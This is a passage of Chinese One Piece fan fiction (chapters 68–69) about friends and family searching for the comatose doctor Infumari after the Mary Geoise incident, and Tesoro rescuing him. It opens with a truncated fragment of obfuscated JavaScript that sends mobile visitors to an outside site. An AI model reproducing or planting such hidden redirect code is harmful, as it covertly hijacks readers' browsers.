0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030147|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 噗噜噗噜噗噜... 咔嚓。 噗噜噗噜噗噜... “啧、香克斯你个白痴,你知道现在几点了吗!你要是又是在宴会上喝的烂醉找我——” “巴基!茵弗的生命卡不对劲!你那边的也是吗!” 蓝发青年瞬间清醒,咕噜一下从床上翻下来,跑到桌边看放在玻璃罩里的小小纸片。 之前也烧过...被BIGMOM扣押的时候...最后也没什么事,应该... 应该... “巴基!!!” 在香克斯恐慌的声音里,自己惊恐的眼神里,歪歪的“J”字被橙黄的火星吞噬。 “...香克斯?” “...贝克!准备出航!” “你多远?我现在在碧索尼,比格道普至少也要三个月。” “....我更远。” 香克斯的霸王色隐隐震颤着。 “喂、香克斯,你注意到...那个方向?” “嗯...向上。” 杂乱的脚步声,斯内克指挥着准备出航。大家从酒精里把自己摇醒,分不清磕磕绊绊究竟是因为戛然而止的宴会还是压抑的惊慌。 报纸上最近、茵弗的海上医院计划发展的很好啊,为什么...会出现这样的事呢? 电话虫那边也传来风声和隐约下命令的声音。夜晚航船蛮危险的,可是他们顾不上了。他努力呼吸着,用海风的咸气让自己冷静下来。熟悉的重量压在他肩上,贝克曼一言不发,只是固定着他,吐出一口烟气。 “空岛、还是...” “玛丽乔亚。” 巴基骂了一声。 - 克力架骂得很大声。 他们手里没有茵弗玛利的生命卡,不过在玛丽乔亚的大事件发生没多久之前,布蕾突然找过来说和那边的镜子被断开了,询问是否有发生什么事。 当时佩罗斯佩罗手里捏着那张她带来的,遗留在镜中世界的纸拧眉头——应对妈妈思食症的药物原料和制作流程。 如果是要敌对托特兰的话没有必要留下它。而且这相当于把他的“交易优势”拱手让人,即使他们再是“朋友”,茵弗玛利也没做过这样的事。 布蕾在犹豫过后,悄悄递给卡塔库栗一张纸条,小声说他们的镜子也被断开了。自从茵弗玛利回到奥比塔拉,他们就不再经常一起吃下午茶,如果对方有空,他会在三点到托特兰找他,所以他不知道这件事。 他读着上面歪歪扭扭的字。 【我要去上面看看。】 他们不明白这是什么意思,直到那份报纸。 “肯定是那个混蛋干了什么吧?''上面''?” “确实佩罗琳。” 把镜子断开... “他死了吧。” “大概。” 杯里的红茶冷了,阿曼德打破沉默。 “...要告诉妈妈吗?” “不、看看后面会如何吧佩罗琳。” - “泰格大哥...!” “留在这里,阿龙,茵弗医生拜托我来东海稳住你,我现在明白了。” - “露玖...” “留在那里,索拉,那边需要你,杰尔玛现在不能出现在奥比塔拉。” - 噗噜噗噜噗噜噗噜。 “茵——” “他让我告诉你,给你的资料好好研究,然后你就可以出师了。” 马尔科看着手边的厚厚一摞,字体难看的药方。他看出来是跟治理内伤有关的了,本来以为... “萨奇呢yoi?” “他也是他给你找的答案之一,萨奇一直很想要个大家庭,所以,如果他愿意...” 你的大家庭真好呀,胡子老爹!眼角带疤的少年坐在老爹的腿上笑得灿烂——我也喜欢家人,老师说了,我一定会成为让所有家人都健康的厨师! “....萨奇怎么办yoi?” 月牙胡子的男人咕啦啦啦地大笑,说那干脆来当他的儿子好了,他也会是他们大家庭的一员。萨奇有些不可思议地睁大眼睛,片刻后红了眼眶,努力地笑着说他很开心他的邀请,但是——老师也是我的家人,他现在吃饭吃得好多了,我想让他先健康呢。 可是马尔科找不到茵弗玛利的生命卡了。 - 灰绿色头发的青年被海浪砸在岸上。 他呛咳几声,一只手努力向前拖拽着伤痕累累的身体爬了几步,然后另一只手用为数不多的力气将泡在海水中的人捞上来。 他没有力气再动,但他不能昏过去。闭上眼睛他一定会死,好不容易才从那个地狱逃出来。他还不能死。他大口喘息着,浑身都在火烧般的疼痛,试图恢复一丝毫的体力。 大概过去好几分钟,他晕乎乎的大脑终于意识到身旁的人没有动过。努力支起身子,他拖拽着那具冰冷的身体往树根方向挪动些许,把他翻过来探了探鼻息。 他伸出颤抖的手,在破烂的口袋里摸索着,终于摸到一个对方交给他的神奇蒲公英。再次感谢自己没有使用,他将其缓缓放到没有了呼吸的人身上,希望它能有用。 等了一会儿没什么反应,他终于开始流泪,蛰痛脸上的伤口。 恩人、恩人,你还活着吗?史黛拉真的还活着吗...恩人、恩人...我还活着啊、恩人...... 泰佐洛捂住自己的嘴,将抽噎的声音按回去。海军会翻遍整个香波地,他必须赶快离开,不能引起注意。 他将地上仍然一动不动的人背起,在黑暗中向港口的方向摸去。背上的人衣衫破烂,脸上看似是刺青的花纹已经被海水冲刷模糊,白色的发在月光下透出死气,和血一起黏在脸上。 泰佐洛踉跄一步,好像有什么东西掉落,但没有时间去捡起,匆匆撬开某只船的货舱窗户钻了进去。 一只红色十字的耳饰从口袋中滚落到码头角落,堪堪卡在木板间的缝隙。 68.寻找与信 玛丽乔亚事件发生的几个月后,随着天龙人不断下界,关于到底那天圣地发生了什么也不断被拼凑。虽然不能公开谈论,但是人们悉悉索索的声音无法被阻拦。 “哦啰啰啰啰!喂,烬!听说那个天龙人发疯是因为他新的露娜莉亚族奴隶丢了!所以跑到关奴隶的地方发脾气!” “...凯多大哥,你喝多了。” “听说他是出幻觉了,那混蛋该不会用了之前大福给的那朵破花吧。” “没有证据吧佩罗琳。” “听说死了不少奴隶呢,反抗和逃走的时候嘻哈~” “斗争中流血无法避免...我们也要努力。” “听说是他女儿制伏了发疯的父亲,帮赶去的海军清出道路。” “呋呋...我就说她总得干掉她父亲。” 巴/雷特才不在乎那些,谁管那小耗子到底做了什么。他到香波地的时候直奔敲竹杠酒吧,丢下一包贝利,直接问茵弗玛利的下落。 “很久不见了,巴/雷特,上次还是你还在老雷跟的那艘船上的时候吧。” “少说废话。” 夏琪吹出一口烟,将那袋贝利收到一旁,“如果你要找奇迹游医,他现在在游历中,像往常一样行踪不定,去海上试试找波比比较好一点。”,她给面前强壮的青年倒了杯酒,“如果你要找小茵弗...老雷跟我说了,我没有消息。” 巴/雷特烦躁闷下杯中的朗姆酒,听老板娘慢悠悠地继续说。 “...不过我知道他没死在圣地。” 他皱眉斜了她一眼,看她从柜台下面抽出一块用布包裹着的东西。 “我送几个逃出来的女孩儿们的时候在码头捡到的,你也知道,情报贩子总是有好眼力。” 熟悉的红色耳饰映入眼帘,也就是说他到过香波地。不过这玩意被他宝贝得很,如果丢了...他啧了一声,伸手要拿,却被夏琪制止。 “给你可以,不过你得把他带给老雷,奥比塔拉。” “为什么。” “因为他是个懦夫,我跟他说了之后他自己不敢来拿。” 巴/雷特点头将其拿过收好,和弹壳一起放在胸前的口袋里,嘀咕着正好去找那混蛋打一架,看个人都看不住。 夏琪盯着这个和上次见面时完全不一样的人,又倒了一杯朗姆。 “你觉得他死在哪了?” 巴/雷特又丢下几张贝利,喝了酒后转身离开。 “老子怎么知道,海里吧。” 海里、风里、麦酒的泡沫里,那家伙死的一定就像那样,一点也不轰轰烈烈,比不上罗杰。毕竟除了少数人,全世界都不知道他死了。□□拉起锚,将这个想法连着挥发的酒精一起扇出脑海,启程奥比塔拉。 去找雷利要点物资,然后继续找。 “为什么?” “因为我不觉得他死了。” “他的生命卡烧没了。” 气喘吁吁的两人在奥比塔拉附近的无人岛同时坐下,雷利甩开刀上的血,没由来地感到一阵轻松。战斗没有结果,就和当年一样。不过难得发泄,他们二人都需要。 巴/雷特咂咂嘴,将口袋里的布团丢给对方,没在意金发男人打开后的僵硬。 “没生命卡是不太好找。” 另一道声音传出,一直等着他们打完的男人将两个药箱丢在他们怀里,自己也坐在一旁,举起腰间的酒壶喝了一口,将鼻梁上的墨镜架起。 贾巴也是没注意生命卡异常的一员。毕竟它开始燃起火星,然后持续了几天。虽然担心,不过这在这片海上很正常。他一如既往地把它夹在册子里,然后在某一天翻开的时候,抖落灰烬。 所以他跑来了,有点后悔当时为什么没跟着走。 巴/雷特用其中的缝合枪熟练地给自己订上伤口,缠绕纱布,头也不抬地说:“啊,所以多给老子点东西,你是知道他计划的吧,他可能去哪了?” 雷利将十字耳饰揣到怀里,也开始给自己处理伤口。 “哈,当然了,他给我留下一堆''他没回来''之后的''计划''。” 他知道大概的规划,一条条的方案,但是不确定因素太多,所以茵弗最后只是笑嘻嘻说那我随机应变吧。首先什么露娜莉亚族的传言他就不知道是从哪冒出来的,不过肯定和那黑皮小子脱不了干系。 雷利已经接受罗杰死了,所以再来一次也许就成了某种病态的熟能生巧。即使最近来到奥比塔拉的巴基和香克斯不能接受。再过三个月,按照茵弗的计划,就可以放出他在游历中意外死亡的消息了,波比的把戏不能永远持续下去,撇清关系就好。 大蜗牛也很没精神,不是那个天天夸它亲它壳的人带它在海上旅行好像也变得无精打采。脱离杰尔玛后找回感情的可能不只是那四胞胎。 贾巴突然换了个话题:“那小子,见到我的时候哭的可厉害了。” 雷利露出一个笑:“他见到谁都哭,借着撒娇在桑贝尔身上蹭鼻涕。” 巴/雷特嘟囔:“他见到老子可没哭。” 戴墨镜的男人又摸出几瓶酒丢给他们,三个人坐在战斗后的空地上干杯。 “他说BIGMOM那老太婆欺负他,把他腿踩断了什么的,抽抽搭搭地喊疼,几个词几个词地往外蹦。” □□啧了一声:“小屁孩。” 贾巴:“哈哈哈,撒娇呢。” 雷利若有所思:“左腿是吧?” 与轻松的语气相反的是沉甸甸的气氛,压抑的愤怒,头顶的墨镜又被滑到鼻梁上,遮住情绪。 “不过家里的小孩被欺负了,长辈总得干点什么,结果你猜小狐狸说什么?” 他说他原谅她了,那是他说出的最完整的一句话。然后抽噎一阵,他就不哭了。 滚烫的气氛停滞一瞬,如泄气的气球一般,留下苦涩的蓝。 雷利:“他总是这样,别的事上怎么那么小心眼?多喝瓶他的好酒能记一年。” 巴/雷特玩着手里的弹壳:“所以你干什么了?” 贾巴咧嘴:“吓唬了一下她家的几个小鬼。” 酒喝尽,故事讲完,没人动弹。□□要去找,活的,死的,一捧土,一滩海水,什么都行。让雷利想起来那天双子峡,库洛卡斯说找不到伦巴海贼团之后金发小子说的话。布鲁克还在家里用他空洞的眼眶与他一同流泪呢。 金发副船长拢了一把自己的中长发,突然轻快地笑了,“这次他肯定委屈得更厉害。”,他做了一个在杰克逊号上从来没做过的举动,对着罗杰的挑战者开玩笑,“你小子怎么也开始念叨1%什么的,想改名了?''子弹''?” 巴/雷特耸了耸肩。 雷利给了他一艘好船,物资,贝利,拍拍他的肩说三个月。那之后世界就会知道他死了,在那之前找到他。香克斯和巴基也再次扬帆起航,三艘船以香波地为起点驶向不同方向。 真挚地为他们祈愿的女人起身,裙角被拉了拉。 “露玖妈妈...” 戴扶桑花的人抱起家里小土豆,问他艾斯他们呢?萨博有些担忧的说艾斯抱着路飞闷在房间里,基拉特意做的辣意面都不吃。基德拿着信跑去沃尔夫那里。 本来在时间未到之前,他们没有告诉孩子们全部的事情,罗宾和罗大概猜到了什么,但是也没有说。茵弗出远门也是正常的,毕竟他是游医,总会出去,之前去新世界也因为各种原因好几个月没回来。 大人们的哀伤还是让心思细腻的几个小家伙察觉,香克斯和巴基来了之后更是如此。他们开始越来越频繁地问小姨什么时候回来,尤其是艾斯和萨博。 摇摇欲坠地拖延,想要孩子们的美梦持续得再久一点。露玖不想早早地就把茵弗那乱糟糟字体的书信一封一封地分下去。直到巴/雷特来了,说他要去找茵弗玛利,对他们隐瞒的行为嗤之以鼻。 “如果小耗子能的话,他肯定会说什么''我就是可能死了,想知道就大大方方地问啊''这类的蠢话。” 的确,他就是这样的。现实的苦涩的,欢乐的美好的,他会蹲下身子好能直视孩子们的眼睛,认真地回答,解释,把名为答案的乱麻重新编织好,一根纤维都不缺地塞到他们手里。 雷利叹着气拉开门,看噼里啪啦摔进来一堆偷听的小子,路飞又被压在最下面。蓝色的,灰色的,各种各样的小眼睛都睁得大大的。 他带着巴/雷特和贾巴出门后,轮到露玖凝视这一团乱麻了。艾斯第一次和妈妈吵架,他问她为什么不能完完整整地告诉他,海贼爸爸的事情也是,小姨的事情也是。 往日闹哄哄的小家伙们出奇地统一战线,连路飞都皱着小脸,努力转着脑筋面色发红。 就像是艾斯出生的时间比她准备得早太多,还没到她打算好的十岁,露玖就不得不把所有的事情告知。罗杰、海贼王、圣地、奴隶、茵弗玛利。 罗骂了一句“我就知道”,然后臭着脸跑出去找罗西南迪。砸门的声音戳破屋子里的泡泡,路飞抿着嘴说,“可是军装男不是要去找他吗?那就是那个纸骗人了吧。” 露玖不知道该说什么,她的指尖仍然发烫。萨博低头盯着玛丽乔亚事件的报纸,豆大的泪滴啪啪地掉在上面。 她抱着萨博推开孩子们卧室的门,屋子里没开灯,旋开艾斯床头的台灯坐在床边,看他侧躺着抱着路飞把脸埋在软乎乎睡着的小男孩的头发里。 “艾斯...” 她的儿子抬起脸,和她相似的雀斑上沾满泪水,脖子上的红项链发出轻响。 “对不起妈妈...我不该对着你生气...” “没关系宝贝,你感觉怎么样?” 萨博也从她怀里爬到小床上,挤挤挨挨地钻到艾斯身后抱住他。 “爸爸生病了,为什么他不让小姨帮忙?” “他尽力了,艾斯,有些事情不是他能拯救得了的。” 这大概是唯一让她感到欣慰的一点吧。关于罗杰的事情艾斯接受得相对来说好很多,这些年慢慢的铺垫与爱没有白费。也确实如她所想,在她询问是否责怪小姨没能救下父亲时,艾斯惊讶地摇头。 “不过、我居然是海贼王的儿子...” “是的,但是记住你不止是你爸爸的孩子,你也是妈妈的孩子,是萨博路飞的哥哥,基德基拉的挚友,史黛拉,罗宾萨奇的小弟弟...” 哥尔·D·艾斯,波特卡斯·D·艾斯,他已经得到太多的爱了,早就填满了他小小的灵魂。茵弗玛利温柔,和善,但是他也幼稚地逗他们玩,在必要时严厉。 引导、保护、包容,艾斯并不缺少这些东西。 露玖摸摸他的头:“你知道虽然你们都有昵称,但是茵弗还是最喜欢叫你艾斯是因为什么吗?” 艾斯点点头,捏紧手中的书信。 【罗杰先生和露玖送给你的名字是''艾斯'',那是他贴身的爱刀,我见过他用它撕开天地,刺穿要杀死我敌人,砍下高处的果递给我和弟弟们。在你没出生时,它就已经被露玖,史黛拉和我用爱意念叨过一万遍了。不要放弃这个名字。】 萨博带着厚厚的鼻音说:“可是小姨可能不会回来了,因为我父母他们最崇拜的天龙人。” 崇拜已经不足以概括,贵族们最大的梦想就是成为天龙人。他的父母曾经羡慕着他们的财富,权利,他们享有的奴隶。模仿着圣地与下界的区别,贵族们将哥亚分割成高镇和边镇。 萨博:“我为同样身为贵族感到 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“你们想要小姨的毯子吗?你们也知道他的窝里有很多又大又软的毯子和被子。” 艾斯:“就像被拥抱一样?” 露玖:“嗯,就像他在抱着你们一样。” 茵弗的毯子被子已经闻起来没他的味道了,不过她还是小心地取了一个绒被回到孩子们的房间,发现基德和基拉已经干脆把所有的床并在一起,靠着萨博并排躺下。 柔软的被子刚好罩住他们,她关掉台灯。 - 啪嚓—— 昏暗的舱房亮起,黑马尾的男人迈过一地的空瓶,深吸一口尼古丁来驱散泡透木板的酒气。他踢一脚趴在桌子上的红发青年,换来一声模糊的嘟囔。 “乌塔不在你也不能这么喝,起来。” 香克斯抬头,下巴压在桌子上对着散落在眼前的发吹气,好像希望嘴里呼出的酒精味能让自己更醉一点一样。 贝克曼在自家船长旁边坐下,再次感慨把乌塔留在奥比塔拉真是一个无比正确的决定,香克斯状态太差了。 “有消息吗,贝克?” 没有。要找一个全世界都知道在哪的人太困难了。奇迹游医在海上,某处,那只大蜗牛前一阵还经过这里...要怎么找一个既是活着又是死了的人?他们又不能提前搅乱茵弗的计划。 医院有没有特殊的病人,最近有没有落了海难的人到这里这类的,打听一下也就是极限了。 他没死在圣地,这是唯一的线索。 该回去了,香克斯,时间快到了;下一个岛可能会有消息,你得振作一点;他死了,香克斯,你在酒瓶里是找不到他的。 贝克曼不知道该回答哪个最好,他也不确定自己想回答哪个。所以他吐出一口烟,怀念棒棒糖糖精的味道。 越来越冰冷的沉默被撞开舱门的巨响撕裂。“头儿!!” 最先收到情报的不是香克斯、不是巴基、不是□□,而是甚平。很多被解放的鱼人族奴隶因为在海里的优势,顺利避开抓捕的海军回鱼人岛后在红十得到救助,留在那边的甚平在他们身体基本恢复后给泰格去了消息,询问这些回来的同胞们该怎么办,才知道茵弗玛利卷在这件事里。 他询问那些可怜的人们有关救他们出来的人的信息。深色皮肤,白发,和一批自愿与圣地的士兵和海军战斗的奴隶们为他们争取时间。他混在人群里,往往只来得及丢下钥匙。他们能描述出的不多,最后也没人知道他怎么样,毕竟当时死了太多人。 “但是当时有很多人摔在泡泡舱上,然后掉下海,有人模糊听到一个绿头发的奴隶喊了声恩人后跳下去了。也许....” 绿头发、白发、两个伤痕累累的人。 虽然不知道为什么是白发,但是估计和传言有关,总比“没死在圣地”要好一点。 贝克曼抖落烟灰,看精神百倍的香克斯叽里呱啦地和巴基打电话虫。 “本大爷...好像真的听到过类似的消息...” “什么!” “现在不是很多偷渡的奴隶吗,之前在酒馆听到过一伙儿人说抓到两个,''绿毛护着个尸体''什么的...” “然后呢?” 巴/雷特捏着手里的电话虫,香克斯的声音断断续续地传出来。 “总之你离那边最近...不确定绿发男还在不在那边,但是...” “知道了、你去追那伙人。” - 绿发青年怀里抱着偷来的药品纱布和面包,把身后的门迅速关上后靠在上面喘息。脸上一朵新的淤青盛开,他用袖子抹脸时刺痛地呲牙。 “该死的...得想办法把背上的玩意弄掉,差点被举报了...” 这家农夫有不少空着的谷仓等着被填满,不过最近要更加小心,主人家已经开始起疑,上次差点被发现。 他抱着东西挪到角落,移开几捆干草钻到后面,再小心地搬回去。 “该转移了...不能在这儿呆下去了。希望这次运气好点,不过打听到了消息...” 泰佐洛自言自语着。 - 【如果事情顺利,你看不到这封信。如果你在读了,那么对不起。对不起我没能救下你父亲、对不起你要读这么丑的字——真是辛苦呀,我们家小艾斯。我只写过一本完整的航海日志,在我卧室书柜的右下角。那里面有很多我和罗杰先生一起航行的故事,如果你偷偷拿过去和兄弟们一起读我的隐私,那么下次见面我也不会怪你。记住了啊,皮质封皮的那本。】 【永远爱你,要是能多吃点蔬菜我就更爱你的,茵弗玛利。】 69.需要一个奇迹 干草捆后的狭小空间勉强够两个人塞在里面。虽然躺在用破布和干草拼凑的床垫上的人看起来糟糕极了。 泰佐洛小心地试探着——没有更糟就是最大的好消息。他每次跑出去收集消息和物资都怕回来之后这个人好不容易靠着那朵蒲公英恢复的心跳和呼吸再次消失。 微弱的,打在他手背上的呼气让他跟着松一口气。把他从天龙人的牢笼里放出来就已经是大恩,在和自己隔壁牢房相熟的奴隶互相搀扶着逃跑时,对方被流弹打中,自己想要拉起他时却被推了一把,呼唤他的名字让他先跑,他咬着牙回头时却被给自己钥匙的人拉住,问他是不是史黛拉的泰佐洛。 无比的震惊只让他点了点头,然后手里被塞了一朵蒲公英,另外一朵被揉到他身体里,缓和自从到这个鬼地方来就不停歇的疼痛。 “史黛拉在等你,活下——” 爆炸声打断了他们的交谈。 咔哒、 绿发青年拆开手中的药瓶,再三确认标签后一点点喂到自己恩人的嘴里。这种标着灰色十字的营养剂很好用,对方现在一直昏迷,喂不下多少食物,他的消化功能又差,已经虚弱太多了。 弄不到的时候他就只能想办法用偷来的食物做点流食,学着曾经奴隶间帮助无法吞咽的人的手法按摩颈部。 “别担心,恩人,我打听到了消息。有一个叫奥比塔拉的地方,那里的奇迹游医会帮助需要的人,不管他们是不是天龙人的奴隶。” 如果被发现是天龙人逃跑的奴隶,海军是一定会来抓的。而民众们大多也不敢窝藏,如果被举报全家都会被世界政府处罚。有家可归的人还好,其他人只能想办法遮住身上的奴隶标志后艰苦求生——但他们甘之如饴,再糟也不会比那上面糟了。 他没钱去医院买药,自己从前在街上混也只学会简单的包扎这类,遇到个好心的护士才堪堪保住二人的命。 自己尽最大努力照顾恩人,可是半年了对方也一直昏迷不醒。那位护士也只是遗憾地拜托他们尽快离开,说她也只是能这样——让他“保住命”而已。后来还会有突然衰竭的时候,他慌里慌张地做心肺复苏,不知道还能坚持多久。 “没钱买船票,我们可能还是得偷渡,对不起上次那些人——这次我会更小心。” 他把身上的衣服脱下来盖在一直没有回答的人身上,简单处理自己身上的伤口后掰了一半面包急匆匆塞进肚子,犹豫过后将剩下的半块放到阳光能晒到的地方晾干,准备留着做路上的干粮。 “史黛拉她真的还活着吗,我真是不敢相信...是你买走她的吗?如果是你的话...她过得很好吧?她和你提到我...” 泰佐洛的眼睛里闪起一丝光亮,回想着萦绕在他梦里,给他力量的金发女孩,“明天我去港口看看...希望能有去奥比塔拉方向的船...”,他牵起那只冰冷的手,靠着稻草闭眼恢复体力,希望自己心中升腾起的力量也能传递给对方。 因为之前差点被举报,他小心了很多。他弄了点钱,拜托总是坐在港口边上的渔夫帮他留意一下有没有去奥比塔拉的船。 这样自己不用冒着被抓的风险到处走,只用每天来找老乔就可以了。拿了钱的渔夫心情不错,分了他半条鱼。他试着碾成糜子给恩人喂了一点,还挺顺利。 等了一周,农夫开始准备往这间谷仓里运收割的粮食,进出的频率变多,也开始打扫。他只好背着昏迷不醒的人躲到镇上的巷子里。比野外好,但是环境太脏,他担心本就虚弱的人身上的伤口再次感染,也就越发焦急。 三天后老乔终于给他消息,说有一艘来运货的船要去奥比塔拉,不过可能要停留好几座岛,兜兜转转耗时很久。 “你要是去看病还不如等伊甸鲸,可能都比搭货船划算。” “那是什么?” “海上的医院,跟奥比塔拉一样都是奇迹游医的,要是上面的医生治不好可以直接把你带去总部。” 泰佐洛犹豫半晌,还是点头谢过他的消息,小心地返回小巷时没有注意到打量他的军装男子。 做货船要很久...等海上的什么鲸鱼医院也要一阵子...他摸摸地上的人枯槁白发下的额头,和他担心的一样已经开始微微发热。再去偷药一定会被抓,毕竟他已经在这里停留一阵了...要不是上次的那伙海贼... 确实等海上医院会稳妥一点,毕竟偷渡时间长的话更容易被抓,到那时...啧、怎么办... 听到巷子口的脚步声时他下意识往里缩了一下,试图遮住地上人的同时减小存在感,等外面的人离开。可是脚步声越来越近,他回头看去,一个背着光的大汉走来,看不清脸上的神情。 自己的后背应该没有露出来...他刚要开口就被猛地拎起拽到一边,对方蹲下身看着昏迷不醒的人。 泰佐洛心脏直跳,抽出身旁的钢管架在陌生男人和恩人之间。 “我们只是流浪人、请离开。” 离得近了他看出对方深色的衣服是军装,还戴着表示着军功的奖章,这让他更加惊慌。如果真的打起来,还带着伤的自己绝对没有胜算。 “他还活着?” 泰佐洛点点头,不明白这个人想干什么。 “你救了他?” “他、他救了我。” 军装男人啧了一声,让他心跟着揪起。 “白痴、谢了啊。” 什么? 泰佐洛不自觉降低举起的钢管,有些迷茫地看着面前的人。在他要将地上的人抱起时他又挡上去,却被扒拉到一边。 “我认识他。找了他这么久又不会把他捏死。” 对方轻柔的动作看上去不是假的,在抱起恩人时脸上也浮现实质的担忧。他从愣在原地的状态回神,跟上准备离开的人。 “你要带他去哪?” “奥比塔拉,你也跟着。” 他当然会跟着他的恩人,这没什么好意外。“哦,太好了,我本来也想带他去那,听说那的奇迹游医会平等帮助所有人...” 身旁的人脚步一顿,发出一声嗤笑。 “他就是奇迹游医。” - “找到了。” “活着。” 露玖自从那天就没能流下的眼泪终于淌下。 她颤抖着将手里的电话虫递给身旁的雷利,捂着脸失声痛哭。雷利捏着眼角,深吸一口气,又将电话虫递给贾巴。 贾巴将墨镜滑到鼻梁上,询问对面具体细节,需要他们做什么。 “叫泰佐洛的小子用他给的什么神奇蒲公英,死了之后拉回来了,现在昏迷,叫花老头回来。” 贾巴:“活着就行。” “啊...反正回去你们自己看吧。” 肯定状态很糟吧...贾巴默默做着心理准备。挂断电话虫后给库洛卡斯去了电话。 未能预料的是比他预想的很糟还要糟。 布满伤痕的深色后背上,更加深,宛如无边泥沼一般的印记——天翔龙之蹄。 一个赤裸裸地嘲讽,印在前海贼王左右手的虹膜里。 脸色臭得不能再臭的库洛卡斯慢慢将手里的人放倒回床上,“就给你俩看一眼,现在滚出去,老夫要继续检查了。” 二人无言走出医务室,脚步杂乱地走向厨房。从橱柜里取出一瓶酒,贾巴视线扫过垒在一起的酒杯,又拿了一瓶。 两人无比默契地没有干杯,灌下几口后将瓶底砸在桌上。 “你知道?” 雷利:“那小子做了四五个计划,最后跟我说随机应变,我怎么可能知道他到底要怎么办。” “但是里面有这一条?” 雷利又灌了一口酒。 贾巴示意带着担心的孩子们往这边走的露玖先别过来,双手支在吧台上看自己的老伙计。 “几天?” 雷利:“从他走,一直到行动之前估算的话,五天左右吧。” 做了五天天龙人的奴隶,已经是太久的五天,那群所谓的神之后裔半天就能耗死一大批人。一定是他发现了什么,得知了什么,让他选择最恶心的一条。 问金妮也不知道发生了什么,她那段记忆已经开始变得模糊,大概是大脑的保护机制的关系。 她只记得自己怀孕了,然后就被送到某处和一群同样怀孕的奴隶,和不同种族的奴隶关到一起。一眨眼“玛利仔就出现在一个天龙人旁边被牵着走过,看到她后偏了一下头。”她耳朵里嗡嗡作响,接下来的记忆就是不知道几天后,身边有人突然说发现了钥匙,她被人群携带着逃了出去。 期间又见到玛利仔一次,身上被塞了什么温暖的东西后有了些力气,让她活下去找熊仔。 库洛卡斯的脸色只变得越来越糟糕,骂骂咧咧地一趟趟进出医务室,然后叫他们帮忙搬回各种仪器。因为过于敏感的关系,茵弗没有被送到医院去治疗,波比上的医务室很好,但是还在往回赶的路上,只能送到主楼区的医务室。 那个叫泰佐洛的,救了他的人真的是史黛拉的泰佐洛,他倒是可以去大医院里。他们给他安排了最好的待遇,康复后也在主楼区准备了住处。在露玖的再三安慰下,史黛拉去那边照顾他。 如果不是心情太糟雷利没准会品味一下其中的奇妙。茵弗救了史黛拉,被史黛拉救了的泰佐洛又救了茵弗。如果没有他,没有那朵他没有用在自己身上的蒲公英,那真的就没救了,更不要说他一边逃亡一边照顾一个昏迷不醒的人半年,给他用各种办法吊着一口气。 虽然治愈果实的代价大概扣掉茵弗不少寿命。 再一次被库洛卡斯骂着说滚出去后他抬腿走向外面,他需要一点不憋闷的空气。 刚推开大门,就看到门外的院子里坐着大大小小的豆丁,都托着腮往这边看。大概是露玖怕之前搬仪器的时候,他们会影响到吧。 “雷利伯伯,我们什么时候能去看小姨?” “等库洛卡斯说可以的时候。” 小路飞啪嗒一躺,在软软的草地里打滚。 “还要好久啊—好无聊——我想见小姨嘛——” 艾斯捶了一拳自己的弟弟:“别捣乱,路飞!小姨受伤了,需要休息!” 路飞:“痛!” 萨博:“没事啦,艾斯,路飞还小嘛,要不我们去罗西那里等好了,baby5他们还在那边。” 艾斯:“你太宠他了。” 罗站起身,拍了拍身上沾的草:“医生当家的估计还要好久,我看到检查神经的仪器了。去柯拉先生那吧。” 雷利一只指头按在罗宾脑袋上,把她转了个方向,“你也去,别用能力偷看偷听。”他对着拉着倔强的基德的基拉说,“你监督她,刘海小子。” 等他们全都跑到对面的房子里,雷利呼出一口气,脑袋好像放松了点。 至少还活着,孩子们还等着见他,没准他去他耳朵边念叨一下这件事,他爬都会从地狱里爬回来。他不太想去猜想那几天他经历了什么,那会让他反胃。他松开捏在剑柄上的手,又转身回去。 等啊等、等啊等、 雷利不确定这回的等待,和那时的等待哪个更让他心焦。 在他身旁的贾巴磨着斧子,他总得找点事情做。茵弗当年很喜欢在他磨斧子的时候凑过来,也坐在旁边保养他的手枪和刀。 ''因为无论是什么样的环境,您的手都很稳,频率也很冷静,声音很好听。'' 他这么说。 唰——唰—— “我最近总是想当时我要是同意跟他来事情会不会好一点。” 雷利哼了一声:“得了吧,他那种状态跟当年的罗杰一样倔,你在也没用。” 锃——锃—— “你那边事情怎么样。” 贾巴:“顺利。” “那你就留一段时间吧。” 贾巴笑笑:“是,副船长。” 等啊、 等到墙上的钟表转了一圈又一圈,贾巴的斧子看一眼就能被割伤,库洛卡斯终于从医务室里出来,径直走向厨房给自己倒了一杯水,头上的花饰都带着疲惫。 他拿着空杯走过来,坐到二人对面,从雷利手边的瓶子里给自己满上一杯酒。 雷利:“怎么样?” 库洛卡斯咂了咂嘴,好像在品味他早已无比熟悉的酒精:“你真想知道?” 雷利向后靠在沙发上,揉了揉鼻梁。 “...就告诉我我能接受的吧。” 库洛卡斯:“...我可能得去找库蕾哈来。” 他伤的太多,昏迷了太久,死的时间太长。而且未知原因神经出现极大非正常紊乱,可能跟他的能力有关,当年第一次听罗杰的时候出现过类似情况,只不过很微弱。醒过来之后可能变成无反应的植物人,可能变成傻子,可能出现库洛卡斯无法预料的情况,就像当年一样。 “如果他能醒过来的话。” 雷利鼻子里发出半个笑:“这是你判断的,''我能接受的''?” 库洛卡斯晃晃脑袋:“你要是想听我仔细给你讲讲他都受了什么伤,现在是个什么状态也行。” 贾巴终于收起斧子,叹了口气:“算了吧。你去找Dr.库蕾哈,然后呢?” 然后多弗朗明哥要杀了他。 他跑到玛丽乔亚,把那群家伙耍了个遍,他应该感到兴奋,但他不兴奋。 他愤怒得要炸了。 被他亲手牵到布满金光的圣桌上的人,被打上奴隶的印记?他不确定他对谁更愤怒一点,躺在这儿的,还是那上面的。 “呋呋呋呋你太让我失望了。” 床上沉睡的人没回答他,身上连接着不同的仪器,管子,几乎要将他淹没。 罗西南迪靠在墙边,沉默地数着心电仪哔得一声之后,下一声间隔几秒。太长了,他不需要问罗就知道这慢的不正常。 多弗不会对茵弗玛利做什么的,所以即使自己的哥哥又向前了一步他也没动。 自从上次对孩子们坦白之后,这次雷利亲自到堂吉诃德宅邸告知了他们基本情况——可能不会醒来、醒来后状态未知、背上被烙印了天翔龙之蹄。 罗西南迪试图抓住那短暂又漫长的会议中被强调了无数遍的几个字,“至少他还活着。” 雷利不想去猜想,罗西南迪更不想,因为身为前天龙人的他大概也能猜得到。 更不要说生命卡烧没了之后,现在还活着,但是昏迷不醒意味着什么。海军里曾经有将领出现过类似的情况...之后、 